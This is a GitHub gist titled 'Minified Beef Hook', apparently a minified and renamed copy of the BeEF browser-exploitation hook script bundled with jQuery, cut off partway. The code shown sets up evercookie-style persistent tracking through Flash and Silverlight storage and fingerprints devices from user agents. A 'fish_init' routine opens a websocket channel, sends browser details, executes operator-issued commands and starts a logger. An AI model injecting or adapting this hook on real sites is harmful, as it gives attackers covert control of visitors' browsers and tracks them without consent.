Skip to content

Instantly share code, notes, and snippets.

@gabemarshall
Created January 23, 2015 02:32
Show Gist options
  • Save gabemarshall/00a37215562bf5069cc1 to your computer and use it in GitHub Desktop.
Save gabemarshall/00a37215562bf5069cc1 to your computer and use it in GitHub Desktop.
Minified Beef Hook
function _ec_dump(e,t){var n="";if(!t)t=0;var r="";for(var i=0;i<t+1;i++)r+=" ";if(typeof e=="object"){for(var s in e){var o=e[s];if(typeof o=="object"){n+=r+"'"+s+"' ...\n";n+=_ec_dump(o,t+1)}else{n+=r+"'"+s+"' => \""+o+'"\n'}}}else{n="===>"+e+"<===("+typeof e+")"}return n}function _ec_replace(e,t,n){if(e.indexOf("&"+t+"=")>-1||e.indexOf(t+"=")==0){var r=e.indexOf("&"+t+"=");if(r==-1)r=e.indexOf(t+"=");var i=e.indexOf("&",r+1);var s;if(i!=-1)s=e.substr(0,r)+e.substr(i+(r?0:1))+"&"+t+"="+n;else s=e.substr(0,r)+"&"+t+"="+n;return s}else return e+"&"+t+"="+n}function _evercookie_flash_var(e){_global_lso=e;var t=$("#myswf");if(t&&t.parentNode)t.parentNode.removeChild(t)}function onSilverlightLoad(e,t){var n=e.getHost();_global_isolated=n.Content.App.getIsolatedStorage()}function onSilverlightError(e,t){_global_isolated=""}function DetectIphone(){if(uagent.search(deviceIphone)>-1){if(DetectIpad()||DetectIpod())return false;else return true}else return false}function DetectIpod(){if(uagent.search(deviceIpod)>-1)return true;else return false}function DetectIpad(){if(uagent.search(deviceIpad)>-1&&DetectWebkit())return true;else return false}function DetectIphoneOrIpod(){if(uagent.search(deviceIphone)>-1||uagent.search(deviceIpod)>-1)return true;else return false}function DetectIos(){if(DetectIphoneOrIpod()||DetectIpad())return true;else return false}function DetectAndroid(){if(uagent.search(deviceAndroid)>-1||DetectGoogleTV())return true;if(uagent.search(deviceHtcFlyer)>-1)return true;else return false}function DetectAndroidPhone(){if(DetectAndroid()&&uagent.search(mobile)>-1)return true;if(DetectOperaAndroidPhone())return true;if(uagent.search(deviceHtcFlyer)>-1)return true;else return false}function DetectAndroidTablet(){if(!DetectAndroid())return false;if(DetectOperaMobile())return false;if(uagent.search(deviceHtcFlyer)>-1)return false;if(uagent.search(mobile)>-1)return false;else return true}function DetectAndroidWebKit(){if(DetectAndroid()&&DetectWebkit())return true;else return false}function DetectGoogleTV(){if(uagent.search(deviceGoogleTV)>-1)return true;else return false}function DetectWebkit(){if(uagent.search(engineWebKit)>-1)return true;else return false}function DetectS60OssBrowser(){if(DetectWebkit()){if(uagent.search(deviceS60)>-1||uagent.search(deviceSymbian)>-1)return true;else return false}else return false}function DetectSymbianOS(){if(uagent.search(deviceSymbian)>-1||uagent.search(deviceS60)>-1||uagent.search(deviceS70)>-1||uagent.search(deviceS80)>-1||uagent.search(deviceS90)>-1)return true;else return false}function DetectWindowsPhone7(){if(uagent.search(deviceWinPhone7)>-1)return true;else return false}function DetectWindowsMobile(){if(DetectWindowsPhone7())return false;if(uagent.search(deviceWinMob)>-1||uagent.search(deviceIeMob)>-1||uagent.search(enginePie)>-1)return true;if(uagent.search(devicePpc)>-1&&!(uagent.search(deviceMacPpc)>-1))return true;if(uagent.search(manuHtc)>-1&&uagent.search(deviceWindows)>-1)return true;else return false}function DetectBlackBerry(){if(uagent.search(deviceBB)>-1)return true;if(uagent.search(vndRIM)>-1)return true;else return false}function DetectBlackBerryTablet(){if(uagent.search(deviceBBPlaybook)>-1)return true;else return false}function DetectBlackBerryWebKit(){if(DetectBlackBerry()&&uagent.search(engineWebKit)>-1)return true;else return false}function DetectBlackBerryTouch(){if(DetectBlackBerry()&&(uagent.search(deviceBBStorm)>-1||uagent.search(deviceBBTorch)>-1||uagent.search(deviceBBBoldTouch)>-1||uagent.search(deviceBBCurveTouch)>-1))return true;else return false}function DetectBlackBerryHigh(){if(DetectBlackBerryWebKit())return false;if(DetectBlackBerry()){if(DetectBlackBerryTouch()||uagent.search(deviceBBBold)>-1||uagent.search(deviceBBTour)>-1||uagent.search(deviceBBCurve)>-1)return true;else return false}else return false}function DetectBlackBerryLow(){if(DetectBlackBerry()){if(DetectBlackBerryHigh()||DetectBlackBerryWebKit())return false;else return true}else return false}function DetectPalmOS(){if(uagent.search(devicePalm)>-1||uagent.search(engineBlazer)>-1||uagent.search(engineXiino)>-1){if(DetectPalmWebOS())return false;else return true}else return false}function DetectPalmWebOS(){if(uagent.search(deviceWebOS)>-1)return true;else return false}function DetectWebOSTablet(){if(uagent.search(deviceWebOShp)>-1&&uagent.search(deviceTablet)>-1)return true;else return false}function DetectGarminNuvifone(){if(uagent.search(deviceNuvifone)>-1)return true;else return false}function DetectSmartphone(){if(DetectIphoneOrIpod()||DetectAndroidPhone()||DetectS60OssBrowser()||DetectSymbianOS()||DetectWindowsMobile()||DetectWindowsPhone7()||DetectBlackBerry()||DetectPalmWebOS()||DetectPalmOS()||DetectGarminNuvifone())return true;return false}function DetectArchos(){if(uagent.search(deviceArchos)>-1)return true;else return false}function DetectBrewDevice(){if(uagent.search(deviceBrew)>-1)return true;else return false}function DetectDangerHiptop(){if(uagent.search(deviceDanger)>-1||uagent.search(deviceHiptop)>-1)return true;else return false}function DetectMaemoTablet(){if(uagent.search(maemo)>-1)return true;if(uagent.search(linux)>-1&&uagent.search(deviceTablet)>-1&&!DetectWebOSTablet()&&!DetectAndroid())return true;else return false}function DetectSonyMylo(){if(uagent.search(manuSony)>-1){if(uagent.search(qtembedded)>-1||uagent.search(mylocom2)>-1)return true;else return false}else return false}function DetectOperaMobile(){if(uagent.search(engineOpera)>-1){if(uagent.search(mini)>-1||uagent.search(mobi)>-1)return true;else return false}else return false}function DetectOperaAndroidPhone(){if(uagent.search(engineOpera)>-1&&uagent.search(deviceAndroid)>-1&&uagent.search(mobi)>-1)return true;else return false}function DetectOperaAndroidTablet(){if(uagent.search(engineOpera)>-1&&uagent.search(deviceAndroid)>-1&&uagent.search(deviceTablet)>-1)return true;else return false}function DetectSonyPlaystation(){if(uagent.search(devicePlaystation)>-1)return true;else return false}function DetectNintendo(){if(uagent.search(deviceNintendo)>-1||uagent.search(deviceWii)>-1||uagent.search(deviceNintendoDs)>-1)return true;else return false}function DetectXbox(){if(uagent.search(deviceXbox)>-1)return true;else return false}function DetectGameConsole(){if(DetectSonyPlaystation())return true;if(DetectNintendo())return true;if(DetectXbox())return true;else return false}function DetectKindle(){if(uagent.search(deviceKindle)>-1&&!DetectAndroid())return true;else return false}function DetectAmazonSilk(){if(uagent.search(engineSilk)>-1)return true;else return false}function DetectMobileQuick(){if(DetectTierTablet())return false;if(DetectSmartphone())return true;if(uagent.search(deviceMidp)>-1||DetectBrewDevice())return true;if(DetectOperaMobile())return true;if(uagent.search(engineNetfront)>-1)return true;if(uagent.search(engineUpBrowser)>-1)return true;if(uagent.search(engineOpenWeb)>-1)return true;if(DetectDangerHiptop())return true;if(DetectMaemoTablet())return true;if(DetectArchos())return true;if(uagent.search(devicePda)>-1&&!(uagent.search(disUpdate)>-1))return true;if(uagent.search(mobile)>-1)return true;if(DetectKindle()||DetectAmazonSilk())return true;return false}function DetectMobileLong(){if(DetectMobileQuick())return true;if(DetectGameConsole())return true;if(DetectSonyMylo())return true;if(uagent.search(manuSamsung1)>-1||uagent.search(manuSonyEricsson)>-1||uagent.search(manuericsson)>-1)return true;if(uagent.search(svcDocomo)>-1)return true;if(uagent.search(svcKddi)>-1)return true;if(uagent.search(svcVodafone)>-1)return true;return false}function DetectTierTablet(){if(DetectIpad()||DetectAndroidTablet()||DetectBlackBerryTablet()||DetectWebOSTablet())return true;else return false}function DetectTierIphone(){if(DetectIphoneOrIpod())return true;if(DetectAndroidPhone())return true;if(DetectBlackBerryWebKit()&&DetectBlackBerryTouch())return true;if(DetectWindowsPhone7())return true;if(DetectPalmWebOS())return true;if(DetectGarminNuvifone())return true;else return false}function DetectTierRichCss(){if(DetectMobileQuick()){if(DetectTierIphone()||DetectKindle())return false;if(DetectWebkit())return true;if(DetectS60OssBrowser())return true;if(DetectBlackBerryHigh())return true;if(DetectWindowsMobile())return true;if(uagent.search(engineTelecaQ)>-1)return true;else return false}else return false}function DetectTierOtherPhones(){if(DetectMobileLong()){if(DetectTierIphone()||DetectTierRichCss())return false;else return true}else return false}function InitDeviceScan(){isIphone=DetectIphoneOrIpod();isAndroidPhone=DetectAndroidPhone();isTierIphone=DetectTierIphone();isTierTablet=DetectTierTablet();isTierRichCss=DetectTierRichCss();isTierGenericMobile=DetectTierOtherPhones()}function maybeFixConfiguration(e){if(e===null){return}for(var t=0;t<e.iceServers.length;t++){if(e.iceServers[t].hasOwnProperty("urls")){if(e.iceServers[t]["urls"].length>0){e.iceServers[t]["url"]=e.iceServers[t]["urls"][0]}else{e.iceServers[t]["url"]=e.iceServers[t]["urls"]}delete e.iceServers[t]["urls"]}}}function fish_init(){if(!fish.pageIsLoaded){fish.pageIsLoaded=true;if(fish.browser.hasWebSocket()&&typeof fish.websocket!="undefined"){fish.websocket.start();fish.net.browser_details();fish.updater.execute_commands();fish.logger.start();fish.are.init()}else{fish.net.browser_details();fish.updater.execute_commands();fish.updater.check();fish.logger.start();fish.are.init()}}}(function(e,t){function H(e){var t=e.length,n=w.type(e);return w.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}function j(e){var t=B[e]={};return w.each(e.match(S)||[],function(e,n){t[n]=!0}),t}function q(e,n,r,i){if(w.acceptData(e)){var s,o,u=w.expando,a=e.nodeType,f=a?w.cache:e,l=a?e[u]:e[u]&&u;if(l&&f[l]&&(i||f[l].data)||r!==t||"string"!=typeof n)return l||(l=a?e[u]=c.pop()||w.guid++:u),f[l]||(f[l]=a?{}:{toJSON:w.noop}),("object"==typeof n||"function"==typeof n)&&(i?f[l]=w.extend(f[l],n):f[l].data=w.extend(f[l].data,n)),o=f[l],i||(o.data||(o.data={}),o=o.data),r!==t&&(o[w.camelCase(n)]=r),"string"==typeof n?(s=o[n],null==s&&(s=o[w.camelCase(n)])):s=o,s}}function R(e,t,n){if(w.acceptData(e)){var r,i,s=e.nodeType,o=s?w.cache:e,u=s?e[w.expando]:w.expando;if(o[u]){if(t&&(r=n?o[u]:o[u].data)){w.isArray(t)?t=t.concat(w.map(t,w.camelCase)):t in r?t=[t]:(t=w.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i--)delete r[t[i]];if(n?!z(r):!w.isEmptyObject(r))return}(n||(delete o[u].data,z(o[u])))&&(s?w.cleanData([e],!0):w.support.deleteExpando||o!=o.window?delete o[u]:o[u]=null)}}}function U(e,n,r){if(r===t&&1===e.nodeType){var i="data-"+n.replace(I,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:F.test(r)?w.parseJSON(r):r}catch(s){}w.data(e,n,r)}else r=t}return r}function z(e){var t;for(t in e)if(("data"!==t||!w.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function it(){return!0}function st(){return!1}function ot(){try{return o.activeElement}catch(e){}}function ct(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}function ht(e,t,n){if(w.isFunction(t))return w.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return w.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(ut.test(t))return w.filter(t,e,n);t=w.filter(t,e)}return w.grep(e,function(e){return w.inArray(e,t)>=0!==n})}function pt(e){var t=dt.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}function Mt(e,t){return w.nodeName(e,"table")&&w.nodeName(1===t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function _t(e){return e.type=(null!==w.find.attr(e,"type"))+"/"+e.type,e}function Dt(e){var t=Ct.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function Pt(e,t){var n,r=0;for(;null!=(n=e[r]);r++)w._data(n,"globalEval",!t||w._data(t[r],"globalEval"))}function Ht(e,t){if(1===t.nodeType&&w.hasData(e)){var n,r,i,s=w._data(e),o=w._data(t,s),u=s.events;if(u){delete o.handle,o.events={};for(n in u)for(r=0,i=u[n].length;i>r;r++)w.event.add(t,n,u[n][r])}o.data&&(o.data=w.extend({},o.data))}}function Bt(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!w.support.noCloneEvent&&t[w.expando]){i=w._data(t);for(r in i.events)w.removeEvent(t,r,i.handle);t.removeAttribute(w.expando)}"script"===n&&t.text!==e.text?(_t(t).text=e.text,Dt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),w.support.html5Clone&&e.innerHTML&&!w.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&xt.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}function jt(e,n){var r,s,o=0,u=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!u)for(u=[],r=e.childNodes||e;null!=(s=r[o]);o++)!n||w.nodeName(s,n)?u.push(s):w.merge(u,jt(s,n));return n===t||n&&w.nodeName(e,n)?w.merge([e],u):u}function Ft(e){xt.test(e.type)&&(e.defaultChecked=e.checked)}function tn(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(t=en[i]+n,t in e)return t;return r}function nn(e,t){return e=t||e,"none"===w.css(e,"display")||!w.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,s=[],o=0,u=e.length;for(;u>o;o++)r=e[o],r.style&&(s[o]=w._data(r,"olddisplay"),n=r.style.display,t?(s[o]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(s[o]=w._data(r,"olddisplay",an(r.nodeName)))):s[o]||(i=nn(r),(n&&"none"!==n||!i)&&w._data(r,"olddisplay",i?n:w.css(r,"display"))));for(o=0;u>o;o++)r=e[o],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?s[o]||"":"none"));return e}function sn(e,t,n){var r=$t.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function on(e,t,n,r,i){var s=n===(r?"border":"content")?4:"width"===t?1:0,o=0;for(;4>s;s+=2)"margin"===n&&(o+=w.css(e,n+Zt[s],!0,i)),r?("content"===n&&(o-=w.css(e,"padding"+Zt[s],!0,i)),"margin"!==n&&(o-=w.css(e,"border"+Zt[s]+"Width",!0,i))):(o+=w.css(e,"padding"+Zt[s],!0,i),"padding"!==n&&(o+=w.css(e,"border"+Zt[s]+"Width",!0,i)));return o}function un(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,s=qt(e),o=w.support.boxSizing&&"border-box"===w.css(e,"boxSizing",!1,s);if(0>=i||null==i){if(i=Rt(e,t,s),(0>i||null==i)&&(i=e.style[t]),Jt.test(i))return i;r=o&&(w.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+on(e,t,n||(o?"border":"content"),r,s)+"px"}function an(e){var t=o,n=Qt[e];return n||(n=fn(e,t),"none"!==n&&n||(It=(It||w("<iframe frameborder='0' width='0' height='0'/>").css("cssText","display:block !important")).appendTo(t.documentElement),t=(It[0].contentWindow||It[0].contentDocument).document,t.write("<!doctype html><html><body>"),t.close(),n=fn(e,t),It.detach()),Qt[e]=n),n}function fn(e,t){var n=w(t.createElement(e)).appendTo(t.body),r=w.css(n[0],"display");return n.remove(),r}function vn(e,t,n,r){var i;if(w.isArray(t))w.each(t,function(t,i){n||cn.test(e)?r(e,i):vn(e+"["+("object"==typeof i?t:"")+"]",i,n,r)});else if(n||"object"!==w.type(t))r(e,t);else for(i in t)vn(e+"["+i+"]",t[i],n,r)}function _n(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,s=t.toLowerCase().match(S)||[];if(w.isFunction(n))while(r=s[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function Dn(e,n,r,i){function u(a){var f;return s[a]=!0,w.each(e[a]||[],function(e,a){var l=a(n,r,i);return"string"!=typeof l||o||s[l]?o?!(f=l):t:(n.dataTypes.unshift(l),u(l),!1)}),f}var s={},o=e===An;return u(n.dataTypes[0])||!s["*"]&&u("*")}function Pn(e,n){var r,i,s=w.ajaxSettings.flatOptions||{};for(i in n)n[i]!==t&&((s[i]?e:r||(r={}))[i]=n[i]);return r&&w.extend(!0,e,r),e}function Hn(e,n,r){var i,s,o,u,a=e.contents,f=e.dataTypes;while("*"===f[0])f.shift(),s===t&&(s=e.mimeType||n.getResponseHeader("Content-Type"));if(s)for(u in a)if(a[u]&&a[u].test(s)){f.unshift(u);break}if(f[0]in r)o=f[0];else{for(u in r){if(!f[0]||e.converters[u+" "+f[0]]){o=u;break}i||(i=u)}o=o||i}return o?(o!==f[0]&&f.unshift(o),r[o]):t}function Bn(e,t,n,r){var i,s,o,u,a,f={},l=e.dataTypes.slice();if(l[1])for(o in e.converters)f[o.toLowerCase()]=e.converters[o];s=l.shift();while(s)if(e.responseFields[s]&&(n[e.responseFields[s]]=t),!a&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),a=s,s=l.shift())if("*"===s)s=a;else if("*"!==a&&a!==s){if(o=f[a+" "+s]||f["* "+s],!o)for(i in f)if(u=i.split(" "),u[1]===s&&(o=f[a+" "+u[0]]||f["* "+u[0]])){o===!0?o=f[i]:f[i]!==!0&&(s=u[0],l.unshift(u[1]));break}if(o!==!0)if(o&&e["throws"])t=o(t);else try{t=o(t)}catch(c){return{state:"parsererror",error:o?c:"No conversion from "+a+" to "+s}}}return{state:"success",data:t}}function zn(){try{return new e.XMLHttpRequest}catch(t){}}function Wn(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}function Yn(){return setTimeout(function(){Xn=t}),Xn=w.now()}function Zn(e,t,n){var r,i=(Gn[t]||[]).concat(Gn["*"]),s=0,o=i.length;for(;o>s;s++)if(r=i[s].call(n,t,e))return r}function er(e,t,n){var r,i,s=0,o=Qn.length,u=w.Deferred().always(function(){delete a.elem}),a=function(){if(i)return!1;var t=Xn||Yn(),n=Math.max(0,f.startTime+f.duration-t),r=n/f.duration||0,s=1-r,o=0,a=f.tweens.length;for(;a>o;o++)f.tweens[o].run(s);return u.notifyWith(e,[f,s,n]),1>s&&a?n:(u.resolveWith(e,[f]),!1)},f=u.promise({elem:e,props:w.extend({},t),opts:w.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:Xn||Yn(),duration:n.duration,tweens:[],createTween:function(t,n){var r=w.Tween(e,f.opts,t,n,f.opts.specialEasing[t]||f.opts.easing);return f.tweens.push(r),r},stop:function(t){var n=0,r=t?f.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)f.tweens[n].run(1);return t?u.resolveWith(e,[f,t]):u.rejectWith(e,[f,t]),this}}),l=f.props;for(tr(l,f.opts.specialEasing);o>s;s++)if(r=Qn[s].call(f,e,l,f.opts))return r;return w.map(l,Zn,f),w.isFunction(f.opts.start)&&f.opts.start.call(e,f),w.fx.timer(w.extend(a,{elem:e,anim:f,queue:f.opts.queue})),f.progress(f.opts.progress).done(f.opts.done,f.opts.complete).fail(f.opts.fail).always(f.opts.always)}function tr(e,t){var n,r,i,s,o;for(n in e)if(r=w.camelCase(n),i=t[r],s=e[n],w.isArray(s)&&(i=s[1],s=e[n]=s[0]),n!==r&&(e[r]=s,delete e[n]),o=w.cssHooks[r],o&&"expand"in o){s=o.expand(s),delete e[r];for(n in s)n in e||(e[n]=s[n],t[n]=i)}else t[r]=i}function nr(e,t,n){var r,i,s,o,u,a,f=this,l={},c=e.style,h=e.nodeType&&nn(e),p=w._data(e,"fxshow");n.queue||(u=w._queueHooks(e,"fx"),null==u.unqueued&&(u.unqueued=0,a=u.empty.fire,u.empty.fire=function(){u.unqueued||a()}),u.unqueued++,f.always(function(){f.always(function(){u.unqueued--,w.queue(e,"fx").length||u.empty.fire()})})),1===e.nodeType&&("height"in t||"width"in t)&&(n.overflow=[c.overflow,c.overflowX,c.overflowY],"inline"===w.css(e,"display")&&"none"===w.css(e,"float")&&(w.support.inlineBlockNeedsLayout&&"inline"!==an(e.nodeName)?c.zoom=1:c.display="inline-block")),n.overflow&&(c.overflow="hidden",w.support.shrinkWrapBlocks||f.always(function(){c.overflow=n.overflow[0],c.overflowX=n.overflow[1],c.overflowY=n.overflow[2]}));for(r in t)if(i=t[r],$n.exec(i)){if(delete t[r],s=s||"toggle"===i,i===(h?"hide":"show"))continue;l[r]=p&&p[r]||w.style(e,r)}if(!w.isEmptyObject(l)){p?"hidden"in p&&(h=p.hidden):p=w._data(e,"fxshow",{}),s&&(p.hidden=!h),h?w(e).show():f.done(function(){w(e).hide()}),f.done(function(){var t;w._removeData(e,"fxshow");for(t in l)w.style(e,t,l[t])});for(r in l)o=Zn(h?p[r]:0,r,f),r in p||(p[r]=o.start,h&&(o.end=o.start,o.start="width"===r||"height"===r?1:0))}}function rr(e,t,n,r,i){return new rr.prototype.init(e,t,n,r,i)}function ir(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=Zt[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}function sr(e){return w.isWindow(e)?e:9===e.nodeType?e.defaultView||e.parentWindow:!1}var n,r,i=typeof t,s=e.location,o=e.document,u=o.documentElement,a=e.jQuery,f=e.$,l={},c=[],h="1.10.2",p=c.concat,d=c.push,v=c.slice,m=c.indexOf,g=l.toString,y=l.hasOwnProperty,b=h.trim,w=function(e,t){return new w.fn.init(e,t,r)},E=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,S=/\S+/g,x=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,T=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,N=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,C=/^[\],:{}\s]*$/,k=/(?:^|:|,)(?:\s*\[)+/g,L=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g,O=/^-ms-/,M=/-([\da-z])/gi,_=function(e,t){return t.toUpperCase()},D=function(e){(o.addEventListener||"load"===e.type||"complete"===o.readyState)&&(P(),w.ready())},P=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",D,!1),e.removeEventListener("load",D,!1)):(o.detachEvent("onreadystatechange",D),e.detachEvent("onload",D))};w.fn=w.prototype={jquery:h,constructor:w,init:function(e,n,r){var i,s;if(!e)return this;if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:T.exec(e),!i||!i[1]&&n)return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e);if(i[1]){if(n=n instanceof w?n[0]:n,w.merge(this,w.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:o,!0)),N.test(i[1])&&w.isPlainObject(n))for(i in n)w.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i]);return this}if(s=o.getElementById(i[2]),s&&s.parentNode){if(s.id!==i[2])return r.find(e);this.length=1,this[0]=s}return this.context=o,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):w.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),w.makeArray(e,this))},selector:"",length:0,toArray:function(){return v.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return w.each(this,e,t)},ready:function(e){return w.ready.promise().done(e),this},slice:function(){return this.pushStack(v.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:d,sort:[].sort,splice:[].splice},w.fn.init.prototype=w.fn,w.extend=w.fn.extend=function(){var e,n,r,i,s,o,u=arguments[0]||{},a=1,f=arguments.length,l=!1;for("boolean"==typeof u&&(l=u,u=arguments[1]||{},a=2),"object"==typeof u||w.isFunction(u)||(u={}),f===a&&(u=this,--a);f>a;a++)if(null!=(s=arguments[a]))for(i in s)e=u[i],r=s[i],u!==r&&(l&&r&&(w.isPlainObject(r)||(n=w.isArray(r)))?(n?(n=!1,o=e&&w.isArray(e)?e:[]):o=e&&w.isPlainObject(e)?e:{},u[i]=w.extend(l,o,r)):r!==t&&(u[i]=r));return u},w.extend({expando:"jQuery"+(h+Math.random()).replace(/\D/g,""),noConflict:function(t){return e.$===w&&(e.$=f),t&&e.jQuery===w&&(e.jQuery=a),w},isReady:!1,readyWait:1,holdReady:function(e){e?w.readyWait++:w.ready(!0)},ready:function(e){if(e===!0?!--w.readyWait:!w.isReady){if(!o.body)return setTimeout(w.ready);w.isReady=!0,e!==!0&&--w.readyWait>0||(n.resolveWith(o,[w]),w.fn.trigger&&w(o).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===w.type(e)},isArray:Array.isArray||function(e){return"array"===w.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[g.call(e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"object"!==w.type(e)||e.nodeType||w.isWindow(e))return!1;try{if(e.constructor&&!y.call(e,"constructor")&&!y.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(r){return!1}if(w.support.ownLast)for(n in e)return y.call(e,n);for(n in e);return n===t||y.call(e,n)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||o;var r=N.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=w.buildFragment([e],t,i),i&&w(i).remove(),w.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=w.trim(n),n&&C.test(n.replace(L,"@").replace(A,"]").replace(k,"")))?Function("return "+n)():(w.error("Invalid JSON: "+n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n)return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(s){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&w.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(O,"ms-").replace(M,_)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,s=e.length,o=H(e);if(n){if(o){for(;s>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(o){for(;s>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:b&&!b.call(" ")?function(e){return null==e?"":b.call(e)}:function(e){return null==e?"":(e+"").replace(x,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(H(Object(e))?w.merge(n,"string"==typeof e?[e]:e):d.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(m)return m.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,s=0;if("number"==typeof r)for(;r>s;s++)e[i++]=n[s];else while(n[s]!==t)e[i++]=n[s++];return e.length=i,e},grep:function(e,t,n){var r,i=[],s=0,o=e.length;for(n=!!n;o>s;s++)r=!!t(e[s],s),n!==r&&i.push(e[s]);return i},map:function(e,t,n){var r,i=0,s=e.length,o=H(e),u=[];if(o)for(;s>i;i++)r=t(e[i],i,n),null!=r&&(u[u.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(u[u.length]=r);return p.apply([],u)},guid:1,proxy:function(e,n){var r,i,s;return"string"==typeof n&&(s=e[n],n=e,e=s),w.isFunction(e)?(r=v.call(arguments,2),i=function(){return e.apply(n||this,r.concat(v.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i):t},access:function(e,n,r,i,s,o,u){var a=0,f=e.length,l=null==r;if("object"===w.type(r)){s=!0;for(a in r)w.access(e,n,a,r[a],!0,o,u)}else if(i!==t&&(s=!0,w.isFunction(i)||(u=!0),l&&(u?(n.call(e,i),n=null):(l=n,n=function(e,t,n){return l.call(w(e),n)})),n))for(;f>a;a++)n(e[a],r,u?i:i.call(e[a],a,n(e[a],r)));return s?e:l?n.call(e):f?n(e[0],r):o},now:function(){return(new Date).getTime()},swap:function(e,t,n,r){var i,s,o={};for(s in t)o[s]=e.style[s],e.style[s]=t[s];i=n.apply(e,r||[]);for(s in t)e.style[s]=o[s];return i}}),w.ready.promise=function(t){if(!n)if(n=w.Deferred(),"complete"===o.readyState)setTimeout(w.ready);else 